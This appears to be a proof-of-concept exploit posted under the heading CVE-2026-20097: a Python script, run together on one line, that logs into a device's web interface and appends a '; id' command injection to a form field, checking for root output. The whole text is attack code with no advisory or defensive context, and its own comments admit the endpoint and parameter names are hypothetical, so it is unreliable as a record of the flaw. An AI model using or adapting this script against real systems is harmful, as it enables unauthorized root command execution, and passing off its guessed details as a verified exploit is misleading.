CVE-2026-20097

import requests # Target configuration target_ip = "<TARGET_IP>" base_url = f"https://{target_ip}" login_url = f"{base_url}/login" exploit_url = f"{base_url}/cgi-bin/potential_vulnerable_endpoint" # Admin credentials (Required for PR:H) username = "admin" password = "admin_password" # Create a session to handle cookies session = requests.Session() session.verify = False # Ignore SSL certificate warnings for self-signed certs # Step 1: Authenticate to the Web Interface print(f"[*] Attempting to login to {target_ip}...") payload = { "username": username, "password": password } try: response = session.post(login_url, data=payload) if response.status_code == 200 and "dashboard" in response.text: print("[+] Login successful!") # Step 2: Craft the malicious HTTP request # The vulnerability is due to improper input validation. # We inject a command separator (e.g., ;) followed by a system command. # Example: Executing 'id' or 'whoami' to verify code execution. malicious_command = "; id" # Construct the payload for the vulnerable parameter # Parameter name is hypothetical as it is not specified in the description exploit_data = { "user_input": "valid_value" + malicious_command } print(f"[*] Sending crafted request to {exploit_url}...") # Step 3: Send the exploit request exploit_response = session.post(exploit_url, data=exploit_data) # Step 4: Check for command execution output in the response if "uid=0(root)" in exploit_response.text: print("[!] Exploit successful! Root command executed.") print("[+] Response snippet:") print(exploit_response.text[:500]) else: print("[-] Exploit failed or output not visible in response.") print(exploit_response.text[:500]) except Exception as e: print(f"[!] An error occurred: {e}")

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